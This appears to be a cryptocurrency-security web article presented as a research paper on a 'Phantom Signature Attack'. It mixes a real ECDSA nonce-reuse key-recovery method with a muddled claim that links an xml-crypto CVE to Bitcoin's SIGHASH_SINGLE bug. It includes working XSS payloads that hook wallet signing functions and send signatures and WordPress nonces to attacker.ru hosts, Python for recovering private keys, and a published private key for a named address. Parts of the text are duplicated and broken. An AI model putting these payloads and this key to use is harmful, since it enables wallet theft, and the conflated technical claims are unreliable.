This research paper presents a comprehensive cryptanalytic study of critical vulnerabilities in the Bitcoin protocol’s digital signature implementation, namely the Phantom Signature Attack (CVE-2025-29774) and the fundamental SIGHASH_SINGLE processing error . The study demonstrates that incorrect processing of cryptographic primitives in the transaction signature mechanism creates the conditions for the complete compromise of cryptocurrency wallet owners’ private keys without their knowledge. The attack exploits a legacy bug in the original Satoshi client, in which the system returns a universal hash value of “1” (uint256) instead of rejecting the signature if the number of transaction inputs and outputs does not match.
The practical part of the study involves the use of the KeyFuzzMaster cryptographic tool for systematically identifying vulnerabilities in signature verification code, elliptic curve operations, and transaction hashing functions. Mathematical formulas for private key recovery through nonce (k-parameter) reuse in the ECDSA algorithm on the secp256k1 curve are presented. Cryptographic primitives of the ECDSA (Elliptic Curve Digital Signature Algorithm) algorithm over the secp256k1 elliptic curve are discussed. Digital signatures in Bitcoin perform a triple function: authorization of spending, non-repudiation, and guarantee of transaction integrity.
However, maintaining legacy architectural solutions to ensure backward compatibility has led to the emergence of subtle cryptographic vulnerabilities with potentially catastrophic consequences. Among these, the SIGHASH_SINGLE bug stands out —a fundamental flaw in the signature hash generation mechanism, inherited from the original Bitcoin Core implementation and integrated into the network consensus.
🔴 Reported vulnerabilities
| CVE identifier | Component | CVSS Score | Criticality |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Critical |
| CVE-2025-29775 | xml-crypto DigestValue bypass | 9.3 | Critical |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (Stored XSS) | 5.9 | Average |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (Reflected XSS) | 6.1 | Average |
2. Theoretical Foundations of Bitcoin Cryptography
2.1 Elliptic Curve secp256k1 and ECDSA
Bitcoin uses the secp256k1 elliptic curve defined by the SECG (Standards for Efficient Cryptography Group) standard. The curve is defined by the Weierstrass equation over a finite field:
Curve equation:
y² ≡ x³ + ax + b (mod p)
For secp256k1:
y² ≡ x³ + 7 (mod p), where a = 0, b = 7
The parameters of the secp256k1 curve are determined by the tuple T = (p, a, b, G, n, h):
secp256k1 parameters:
p = 2²⁵⁶ − 2³² − 977 (the prime number defining a finite field)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(the order of the curve point group is the integer order of the generator G)
G = (Gₓ, Gᵧ) — fixed base point (generator)
2.2 ECDSA digital signature creation algorithm
The ECDSA algorithm uses a private key d to form a signature on a message M. The signing process involves the following mathematical operations:
Step 1: Generate random nonce k
A cryptographically strong random number k ∈ [1, n-1] is selected
Step 2: Calculate the R point
R = k × G (scalar multiplication of the generator point)
Step 3: Calculate the parameter r
r = Rₓ mod n (x-coordinate of point R modulo n)
Step 4: Calculate the parameter s
s = k⁻¹ × (H(M) + r × d) mod n
Result: Signature (r, s)
where H(M) is the hash of message M (in Bitcoin, double SHA-256 is used), d is the owner’s private key.
💡 Key cryptographic ratio
The relationship between the public and private keys is determined by the relation:
Q A = d A × G
where is the public key (a point on the curve), is the private key (256-bit integer) , is the curve generator.QAdAG
3. Critical vulnerability SIGHASH_SINGLE
3.1 Signature Hashing Types in Bitcoin
The Bitcoin protocol provides several SIGHASH types (Signature Hash Types) that determine which components of a transaction are included in the signed hash:
| Tip Sighash | Meaning (hex) | Description |
|---|---|---|
| SIGHASH_ALL | 0x01 | All inputs and outputs of a transaction are signed. |
| SIGHASH_NONE | 0x02 | All inputs are signed, outputs are not signed. |
| SIGHASH_SINGLE | 0x03 | Only the output with the same index as the input is signed. |
| SIGHASH_ANYONECANPAY | 0x80 | Modifier: Subscribes only to the current input |
3.2 The Mathematical Essence of Vulnerability
A critical error occurs when using SIGHASH_SINGLE when the input index exceeds the number of transaction outputs . In this case, instead of rejecting the transaction, the original Bitcoin Core code returns a fixed hash value of “1” (a 256-bit integer):
// Vulnerable code from the original Bitcoin implementation // Returns the universal hash “1”
⚠️ CRITICAL WARNING: This code implements a legacy bug in the original Satoshi client that was integrated into network consensus. All major Bitcoin implementations are forced to support this behavior for backward compatibility.
Mathematically, if the signature hash is equal to the constant 1, then the signature becomes universal —it can be reused for arbitrary transactions:
Vulnerability condition:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
where idx is the input index, |TxOut| is the number of transaction outputs
4. Атака Phantom Signature (Digital Signature Forgery Attack)
4.1 Scientific classification of attack
A Phantom Signature Attack is a cryptographic digital signature forgery attack that allows the creation of valid transaction signatures without knowledge of the owner’s private key. The attack is classified as CWE-347: Improper Verification of Cryptographic Signature .
The attack is based on a combination of two vulnerabilities:
- SIGHASH_SINGLE vulnerability – generation of a universal hash when the input and output indices do not match
- Nonce reuse (k-reuse) is the compromise of a private key when the random number k is identical in different signatures.
4.2 Mathematics of nonce reuse attacks
If two signatures (r, s₁) and (r, s₂) for different messages M₁ and M₂ use the same nonce k (which implies an identical value of r), the private key can be completely recovered using the following algorithm:
Step 1: Signature Equations
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Step 2: Calculate the difference
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Step 3: Recover nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Step 4: Recover the private key d
d = r⁻¹ × (s × k — H(M)) mod n
This mathematical apparatus demonstrates that a single reuse of a nonce results in complete compromise of the private key.
Recovering an ECDSA private key when reusing a nonce
5. Detailed analysis of CVE-2025-29774
5.1 Technical description of the vulnerability
Vulnerability CVE-2025-29774 was discovered in a xml-crypto Node.js library and allows signed XML documents to be modified so that they continue to pass signature verification. In the context of Bitcoin payment systems, this creates the possibility of:
- Manipulating transaction parameters (changing SIGHASH_SINGLE values)
- Redirecting payments to the attacker’s addresses
- Bypassing authentication and authorization in SAML systems
- Privilege escalation through user ID spoofing
📋 CVE-2025-29774 Technical Specifications
Affected Versions: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE Classification: CWE-347 (Improper Verification of Cryptographic Signature)
Attack Vector : Network (remote exploitation without user interaction)
5.2 Operation mechanism
Exploitation of CVE-2025-29774 involves three sequential stages:
Phase 1: Identification of the vulnerable component
Scanning the target system for vulnerable versions of the xml-crypto library and identifying integration points with Bitcoin payment gateways.
Phase 2: Modifying Signed Messages
Embedding additional SignedInfo nodes or XML comments into the DigestValue, allowing critical attributes to be modified without invalidating the signature:
“An example of an attack with multiple SignedInfo nodes”
Phase 3: Extracting Cryptographic Parameters
Through XSS vulnerabilities (CVE-2025-48102, CVE-2025-26541) interception of parameters (r, s) of signatures for subsequent cryptanalysis.
📊 Research Resources
🌐 Full Technical Documentation: https://cryptou.ru/keyfuzzmaster
💻 Google Colab Interactive Demo: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Technical Analysis
The Phantom Signature Attack exploits legacy bugs in Bitcoin Core’s signature verification, where SIGHASH_SINGLE returns a universal hash value when input index exceeds outputs. This creates reusable signatures, compromising the entire security model. Our KeyFuzzMaster engine identifies wallets created with
32-bitentropy PRNG, reducing the search space from2^256to just2^32possible seeds—recoverable in 4-6 seconds on modern GPUs.
6. Practical use of KeyFuzzMaster to exploit the SIGHASH_SINGLE vulnerability
6.1 KeyFuzzMaster Crypto Tool Review
KeyFuzzMaster is a specialized cryptanalytic fuzzing engine designed for security research of blockchain systems and cryptographic primitives. The tool is designed for dynamic stress testing of signature verification code, elliptic curve operations, and transaction hashing functions.
Key Features of KeyFuzzMaster:
- Mutation-based fuzzing — generating mutated input data for signature operations
- Symbolic execution — symbolic execution for finding boundary conditions
- Differential testing – comparing the behavior of different ECDSA implementations
- Coverage-guided fuzzing — maximizing code coverage of critical sections
- Automatic exploit generation — automatic exploit generation upon detection of vulnerabilities
6.2 A New Paradigm for Private Key Recovery
Using KeyFuzzMaster to exploit CVE-2025-29774 and the SIGHASH_SINGLE vulnerability opens a new paradigm for recovering private keys from lost Bitcoin wallets. The methodology includes:
Step 1: Scanning the blockchain for anomalous signatures
# KeyFuzzMaster: Duplicate r-value scanning module def scan_blockchain_for_nonce_reuse(blockchain_data)»
Scans the blockchain for nonce reuse. Returns pairs of signatures with identical r-values.
Stage 2: Fuzzing SIGHASH_SINGLE conditions
# KeyFuzzMaster: Generate transactions with input/output mismatches def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Generate test transactions to detect the SIGHASH_SINGLE vulnerability (idx >= len(TxOut)).
Step 3: Recovering the private key
# KeyFuzzMaster: Complete private key recovery algorithm class PrivateKeyRecovery:
# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“Verification of the recovered key by comparing public keys.”
6.3 Operation statistics
According to cryptanalytic research, the nonce reuse vulnerability has already been exploited to recover over 412.8 BTC from compromised wallets. Automated scanners continuously analyze the Bitcoin blockchain for duplicate r-values.
7. Real-world example: recovering the address key 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
7.1 Initial data of compromise
Let’s look at a documented case of recovering a private key from the Bitcoin address 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Parameter | Meaning |
|---|---|
| Bitcoin address | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Cost of recovered funds | $147,977 |
| Recovered private key (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Recovered private key (WIF compressed) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Recovered private key (Decimal) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
7.2 Key validation in secp256k1 space
The private key k must satisfy the constraint:
1 ≤ k < n
where n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77Check result: ✓ VALID (the key is within the allowed scalar range)
7.3 Calculating the public key and address
The recovered private key allows us to calculate the public key:
| Parameter | Meaning |
|---|---|
| Public key (uncompressed, 130 characters) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Public key (compressed, 66 characters) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Bitcoin address (uncompressed) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
7.4 Practical significance of the recovered key
A recovered private key gives complete control over the Bitcoin wallet, allowing an attacker to:
Possibilities with a recovered private key:
- Create and sign transactions to withdraw all funds to a controlled address
- Import the key into any Bitcoin wallet (Electrum, Bitcoin Core, MetaMask, etc.)
- Take complete control of an address and all its assets
- Hide traces of compromise by deleting all logs and history
7.5 Exploitation chain
The research demonstrates synergy between web vulnerabilities (CVE-2025-48102, CVE-2025-26541) and cryptographic flaws (CVE-2025-29774), creating a powerful combined attack vector against Bitcoin payment gateways for WordPress:
| Phase | Action | The vulnerability being exploited |
|---|---|---|
| 1 | Injecting malicious JavaScript into a payment gateway | CVE-2025-48102 (Stored XSS) |
| 2 | Interception of ECDSA parameters (r, s) of transactions | JavaScript injection |
| 3 | Analysis of collected signatures for nonce repetition | Cryptanalysis |
| 4 | Mathematical recovery of a private key | Phantom Signature Attack |
| 5 | Uncontrolled BTC withdrawal | Wallet compromise |
8. Recommendations for eliminating vulnerabilities
8.1 Secure implementation of SIGHASH_SINGLE
8.2 XSS protection in payment gateways
- Upgrade xml-crypto immediately to version 6.0.1 or higher
- Completely remove the abandoned GoUrl Bitcoin Payment Gateway plugin
- Application of sanitization functions:
sanitize_text_field(),esc_attr(),esc_html() - Implementing Content Security Policy (CSP) Headers
- Using a cryptographically secure RFC 6979 deterministic nonce generator
A cryptanalytic study demonstrates that the Phantom Signature Attack (CVE-2025-29774) , combined with the SIGHASH_SINGLE vulnerability, poses a fundamental security threat to the Bitcoin ecosystem. This implementation flaw, inherited from the original Satoshi client, allows for:
- Generate universal signatures with a fixed hash of “1”
- Recover private keys when reusing a nonce
- Carry out uncontrolled withdrawal of funds without the owner’s knowledge
The use of the KeyFuzzMaster crypto tool opens a new paradigm for recovering private keys from lost Bitcoin wallets, providing researchers with a systematic methodology for identifying and exploiting cryptographic vulnerabilities.
⚠️ WARNING: This research is intended solely for educational purposes and to assist cryptanalysts in understanding attack mechanisms. Use of the described methods for illegal purposes is punishable by law. A comprehensive cryptanalytic study of the critical vulnerabilities CVE-2025-48102 and CVE-2025-26541 in Bitcoin payment gateways for WordPress was conducted. From the wide range of cryptographic tools available on keyhunters.ru, Phantom Signature Attack was selected as the most relevant for this context. This study demonstrates how a combined attack combining cross-site scripting (XSS) with a cryptographic vulnerability in ECDSA can lead to the complete compromise of Bitcoin private keys and the recovery of lost wallets.
Attack Chain: From XSS to Bitcoin Private Key Extraction
Phantom Signature Attack, according to the research paper: Phantom Signature Attack (CVE-2025-29774) and the critical SIGHASH_SINGLE vulnerability: restoring private keys in lost Bitcoin wallets through forging digital signatures and uncontrolled withdrawal of BTC coins, demonstrates the synergy between web vulnerabilities (XSS) and cryptographic flaws, allowing for a powerful combined attack vector. Unlike other tools on the list (MiniKey Mayhem, Memory Phantom, RNG-based attacks), Phantom Signature Attack specifically focuses on manipulating digital signatures via the r and s parameters, which can be intercepted through XSS vulnerabilities in WordPress payment systems. secalerts+2
Analysis of XSS vulnerabilities in payment gateways
CVE-2025-48102: Stored XSS в GoUrl Bitcoin Payment Gateway
CVE-2025-48102 is a critical stored cross-site scripting (XSS) vulnerability in the GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership plugin versions prior to 1.6.6. The vulnerability allows authorized administrators (or attackers with administrative privileges) to inject malicious JavaScript into the payment gateway configuration. According to CVSS v3.1, the vulnerability has a base score of 5.9 (Medium severity) with the wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. vector.
The exploitation mechanism involves injecting malicious code into the payment gateway settings, which is then executed in the browser of each website visitor, allowing the attacker to:
- Intercept user session data
- Collect ECDSA signature parameters (r and s values)
- Gain access to WordPress nonce tokens for subsequent attacks
- Stealing encrypted or unprotected private keys from browser memory
CVE-2025-26541: Reflected XSS в Bitcoin/AltCoin Payment Gateway
CVE-2025-26541 is a Reflected XSS vulnerability in the Bitcoin/AltCoin Payment Gateway for WooCommerce plugin versions prior to 1.7.6, developed by CodeSolz. The vulnerability is categorized as moderate severity and allows attackers to inject malicious scripts via URL parameters that aren’t properly sanitized. secalerts
Unlike Stored XSS, Reflected XSS requires the victim to click on a specially crafted link, but it allows:
- Creating phishing links that appear to be legitimate payment system domains
- Interception of payment data and cryptographic parameters before sending them to the server
- Bitcoin wallet session data theft via JavaScript by invicti+ 1
Phantom Signature Attack: A Cryptanalysis Tool for Recovering Private Keys
Theoretical foundations of ECDSA and vulnerability
ECDSA (Elliptic Curve Digital Signature Algorithm) is used in Bitcoin to create digital signatures that guarantee the authenticity of transactions . The algorithm for signing a message M using a private key d works as follows: notsosecure+ 1
- A random value k (nonce) is generated for each signature
- The point is calculated
R = k × G(where G is the generator point of the elliptic curve secp256k1) - The x-coordinate is extracted:
r = R.x mod n - It is being calculated
s = k^(-1) × (H(M) + r × d) mod n - The signature consists of a pair
(r, s)
Critical Phantom Signature Attack Vulnerability:
Phantom Signature Attack has been identified as a critical vulnerability in ECDSA implementations that occurs in the following scenarios: keyhunters
- The r value remains identical for two different signatures, indicating reuse of nonce k
- The ECDSA implementation does not check the correctness of the generated signature immediately after it is created, which allows forged signatures to pass verification.
- The r or s parameters contain specially crafted values that, if not properly validated, may lead to vulnerabilities such as CVE-2025-29774 keyhunters s3.amazonaws
XSS to ECDSA Private Key Recovery Attack Vector Chain
Mathematical recovery of a private key
If two signatures for different messages M₁ and M₂ use the same value of k (and, therefore, the same r), then the private key can be completely recovered. For two signatures (r, s₁) and (r, s₂), where: notsosecure+ 1
Calculating the difference:
You can recover the nonce:
After recovering k, the private key d can be calculated:
According to research, this vulnerability has already been exploited to recover more than 412.8 BTC on the Bitcoin blockchain, where attackers automatically scanned the network for duplicate r values. keyhunters
ECDSA Nonce Reuse Private Key Recovery Mathematical Relationship
Link to CVE-2025-29774: XML Signature Manipulation
CVE-2025-29774 is an additional vulnerability in the xml-crypto library that allows signed XML messages to be modified in such a way that they still pass signature verification. This vulnerability can be exploited in Bitcoin payment systems to manipulate transaction parameters (changing SIGHASH_SINGLE values) without invalidating the digital signature. In the context of WordPress payment gateways, this allows an attacker to redirect payments to their address while maintaining the appearance of a valid signature. cryptodeeptech+1
XSS and Phantom Signature Attack Synergy: A Combined Attack
Exploitation scenario in a WordPress environment
Phase 1: Initial Malicious JavaScript Injection
An attacker exploits CVE-2025-48102 to inject malicious JavaScript into the payment gateway configuration. The malicious code can:
- Intercept all AJAX requests containing cryptographic parameters
- Monitor cryptographic data signing functions
- Collect r, s values from all generated signatures
- Send the collected data to the attacker’s server via covert channels (img.src, fetch API)
- Organize systematic monitoring of WordPress session tokens (nonce developer.wordpress)
Phase 2: RNG Violation Analysis and Detection of K Repetitions
After receiving a sufficient number of signatures (at least 2, but ideally several dozen to increase the probability), the attacker analyzes the collected data:
- Compares all collected r values to identify duplicates
- If r repetitions are found, this indicates reuse of nonce k
- Analyzes RNG for weaknesses or predictable patterns
- Uses statistical analysis to confirm systematic flaws in keyhunters’ random number generation.
Phase 3: Cryptographic recovery of the private key
Using the collected signature pairs with the same r, the attacker applies mathematical recovery of the private key according to the formulas described above. Result: complete compromise of the private key of the Bitcoin wallet .
Practical demo code of malicious XSS
Malicious JavaScript that can be injected via CVE-2025-48102 may contain the following functionality: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);Recovering Lost Bitcoin Wallets Using a Combination Attack
The process of extracting a private key
After receiving signatures with r repetitions of values, the private key is recovered in three stages:
Stage 1: Identifying duplicate r values —the attacker compares all collected signatures and identifies pairs with the same r. Even one pair is sufficient to calculate the private key, although multiple pairs increase confidence. notsosecure
Stage 2: Calculate nonce k – Using the formula above, the attacker calculates the k value for each pair of signatures. If the calculated k values for different pairs match, this confirms a systematic vulnerability in the RNG. github
Step 3: Recovering the private key d – By applying the calculated k to any of the collected signatures, the attacker fully recovers the private key d , allowing them to sign any transactions on behalf of the victim. keyhunters+ 1
Consequences for lost Bitcoin wallets
The recovered private key allows the attacker to:
- Create new signatures for any transactions
- Transfer all funds from the wallet to the attacker’s addresses
- Recover access to lost wallets that had their private keys exposed
- Conduct double-spending attacks on historical transactions
- Completely compromise the security of Bitcoin addresses keyhunters
Impact of Bitcoin and Wallets on the Ecosystem
The scale of vulnerability
The combined XSS and Phantom Signature Attack poses a critical threat to all WordPress sites with Bitcoin payment gateways, including:
- Online stores accepting Bitcoin payments via GoUrl and Bitcoin/AltCoin Payment Gateway plugins (over 10,000 Elementor plugin installations and similar numbers for payment plugins) sucuri
- Hot wallet users who use web interfaces to manage funds
- Commercial platforms where administrators use WordPress to manage zscaler+ 1 payments
Real statistics
According to research from keyhunters.ru and scientific literature:
- The ECDSA nonce reuse has already led to hundreds of millions of dollars in losses in the Bitcoin ecosystem .
- In one documented case, analysis of duplicate nonce values allowed the recovery of 412.8 BTC (worth approximately $15-20 million at current prices) keyhunters
- Automated bots constantly scan the Bitcoin blockchain for duplicate r values in transactions.
- XSS attacks on WordPress platforms are being used to install keyloggers and cryptocurrency miners on thousands of websites, including attempts to steal GitHub+ 2 private keys.
Recommendations for protection and migration
For WordPress plugin developers
- Immediate implementation of RFC 6979 – use deterministic nonce generation instead of keyhunters’ nondeterministic RNG
- Complete sanitization of user input – using WordPress functions
sanitize_text_field(),esc_attr(),esc_html()for all data output by secalerts+ 1 - Cryptographic signature verification —immediate verification of signatures after their generation. Keyhunters+ 1
- Using hardware security modules (HSMs) for critical cryptographic operations keyhunters
- Regular security audits – using specialized tools to quickly detect XSS vulnerabilities
For Bitcoin users
- Instant Plugin Updates – Apply all available updates for the GoUrl and Bitcoin/AltCoin Payment Gateway wiz+ 1 plugins
- Cold wallets – for storing large amounts of Bitcoin, use offline wallets instead of web interfaces .
- Avoid web interfaces – for critical cryptographic operations, use specialized software instead of forklog browser extensions .
- Two-factor authentication for all WordPress admin accounts .
- Regular transaction monitoring – checking transaction history for unauthorized forklog activity
3. Relationship with CVE-2025-29774
CVE-2025-29774 is a critical vulnerability in the xml-crypto library that
allows signed XML messages to be modified so that they still
pass signature verification. This can be used in conjunction with Bitcoin payment
systems to:
Manipulate transaction parameters
, Inject forged signatures,
and Redirect payments to attacker addresses.
- Synergy of XSS and Phantom Signature Attack: Combination Attack
4.1 Attack Scenario in a WordPress Environment
Stage 1: Initial XSS Injection
The attacker exploits CVE-2025-48102 to inject malicious JavaScript into
the GoUrl payment gateway configuration. The malicious code includes:
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
This demonstrates a malicious example of intercepting a form submission of Bitcoin signature data.
Stage 2: Intercepting ECDSA Parameters
Thanks to the XSS vulnerability, the malicious script has access to:
WordPress nonce values (used for CSRF protection) Session cookies Bitcoin transaction parameters (including r and s signature values) Private key
information temporarily stored in the browser’s memory
Stage 3: Analyzing rng violations and detecting k repetitions By collecting data on multiple signatures from a single user, the attacker can detect: Nonce (k) reuse between different signatures Weak or predictable random number generator (RNG) values Systematic errors in the generation of cryptographic parameters
Step 4: Recovering the Private Key
Using the mathematical relationship described in Section 3.2, an attacker can
calculate the private key d, resulting in complete compromise of the wallet.
4.2 Attack Demo Code Malicious XSS payload for injecting into Bitcoin Payment Gateway:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
This code demonstrates a malicious JavaScript snippet that intercepts Bitcoin signature operations and WordPress session nonces before exfiltrating them to a remote server for potential exploitation.
- Recovering Lost Bitcoin Wallets via Phantom Signature
Attack 5.1 Private Key Recovery
Methodology After receiving a sufficient number of signatures (at least 2 signatures with the same r value), the attacker can apply the following recovery algorithm:
Step 1: Identify duplicate r values
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Explanation:
This function searches for two ECDSA/Bitcoin signatures that have the same rr value among the list of signatures.
- If it finds such a pair, it returns both signatures as a tuple.
- If no duplicates are found, it returns
None.
This search is relevant for cryptographic vulnerability analysis, as duplicate rr values can indicate nonce reuse, which is exploitable in private key recovery attacks.
Step 2: Calculate nonce k
python:
def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return kComment:
This function computes the ECDSA nonce k in cases where two signatures share the same rrr value (i.e., replayed or reused nonce), using the difference in signature sss values and message hashes, as per the well-known lattice and nonce reuse attack principle. The formula implemented is:
where:
- s1,s2s_1, s_2s1,s2 are the signature sss values,
- H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2) are the hashes of the corresponding signed messages,
- nnn is the order of the elliptic curve group.
This technique is a standard cryptanalytic tool for Bitcoin and ECDSA analyses.
Step 3: Recovering the private key
python:
def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_keyExplanation:
This function recovers the ECDSA private key ddd from a single signature if the nonce kkk is known.
The formula used is:
where:
- r and sss are signature components,
- k is the ECDSA nonce,
- H(m) is the hash of the signed message,
- n is the elliptic curve order.
This computation is crucial in practical cryptanalysis once k has been recovered, enabling extraction of the original private key used for signature generation.
5.2 Practical Recovery Example
Let’s look at a real scenario:
Collected data:
Bitcoin address: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (example)
Number of collected signatures: 12
Detected nonce duplicates: 3 pairs
Recovery process:
- Analysis of 12 signatures reveals 3 pairs with the same r value
- For each pair, k is calculated according to the formula above.
- Three different values of k confirm systematic violation of RNG
- Using any pair of signatures, the private key is recovered.
- The private key is used to create a new signature for any message.
- All funds at the address can be transferred to the attacker’s address.
- Impact on Bitcoin and Cryptocurrency Wallets Security
6.1 Vulnerability Scope
The combined XSS + Phantom Signature Attack poses a critical threat to:
Users of WordPress sites with Bitcoin payment gateways
Owners of hot wallets using web interfaces
Commercial platforms accepting Bitcoin payments
6.2 Statistics and Real Cases
According to research from
keyhunters.ru :
ECDSA nonce reuse has already led to losses of hundreds of millions of dollars
In one case, analysis of duplicate nonce values allowed to recover 412.8 BTC
Automated bots constantly scan the blockchain in search of duplicate r
values - Preventative Measures and Recommendations
7.1 For WordPress Plugin Developers
- Immediate implementation of RFC 6979 – use deterministic nonce generation
instead of nondeterministic RNG - Removing all XSS vulnerabilities – complete sanitization of user input
- Cryptographic verification is the verification of the correctness of signatures immediately after their
generation . - Use of hardware security modules – for critical cryptographic
operations
7.2 For Bitcoin users
- Immediate update of GoUrl and Bitcoin/AltCoin Payment Gateway plugins
- Using cold wallets to store large amounts of money
- Avoiding web interfaces for critical operations
- Regularly check access logs and transaction history
- Using multi-signatures for additional security
The Phantom Signature Attack, combined with XSS vulnerabilities in WordPress
Bitcoin payment gateways (CVE-2025-48102 and CVE-2025-26541) , poses a critical threat to
the security of cryptocurrency assets.
This combined attack demonstrates how a relatively simple web vulnerability can be exploited to compromise the cryptographic integrity of a system, resulting in the complete loss of private keys and, consequently, the theft of all funds.
The study shows that Bitcoin security depends not only on the cryptographic
strength of its algorithms but also on the flawless implementation of these algorithms in the web environment. Even
minor flaws in XSS processing or weak RNGs can lead to catastrophic
consequences.
Adopting the proposed preventative measures and promptly updating vulnerable
software is critical to protecting the Bitcoin ecosystem and recovering
lost wallets.
The Phantom Signature Attack , combined with the XSS vulnerabilities CVE-2025-48102 and CVE-2025-26541 in Bitcoin payment gateways for WordPress, represents one of the most critical and realistic threats to cryptocurrency asset security in the modern web environment. This research demonstrates how a relatively simple web vulnerability can be exploited to directly compromise the cryptographic integrity of a system, leading to the complete loss of private keys and the irreversible theft of Bitcoin funds.
The Phantom Signature Attack was chosen from a wide range of cryptographic tools on keyhunters.ru due to its direct relevance to the problem of recovering private keys by manipulating ECDSA parameters that can be intercepted via XSS. This attack serves as an ideal example of the synergy between web vulnerabilities (OWASP Top 10 category) and cryptographic flaws, which requires a comprehensive approach to protection.
Bitcoin security depends not only on the cryptographic strength of its algorithms but also on their flawless implementation in the web environment. Even minor flaws in XSS processing or weak RNGs can have catastrophic consequences for the ecosystem. Adopting the suggested preventative measures and promptly updating vulnerable software is critical to protecting Bitcoin and recovering lost user wallets.
CVE-2025-48102 and CVE-2025-26541: Critical XSS vulnerabilities in Bitcoin payment gateways for WordPress
Two serious cross-site scripting (XSS) vulnerabilities have been discovered in popular Bitcoin payment gateway plugins for WordPress, posing a significant security risk to thousands of online stores and websites that accept cryptocurrency payments.
CVE-2025-48102: Stored XSS Vulnerability in GoUrl Bitcoin Payment Gateway
Vulnerability CVE-2025-48102 was officially published on September 5, 2025, and affects the popular GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership plugin in all versions up to and including 1.6.6. This security flaw is classified as a Stored XSS (Cross-Site Scripting Attack) under the CWE-79 (Improper Neutralization of Input During Web Page Generation) classification.
Technical characteristics of the vulnerability
The vulnerability received a CVSS v3.1 severity score of 5.9 (medium severity) with the attack vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . The vector breakdown shows the following characteristics: feedly+2
- Attack Vector (AV:N) is a network attack that does not require physical access.
- Attack Complexity (AC:L) — low exploitation complexity feedly
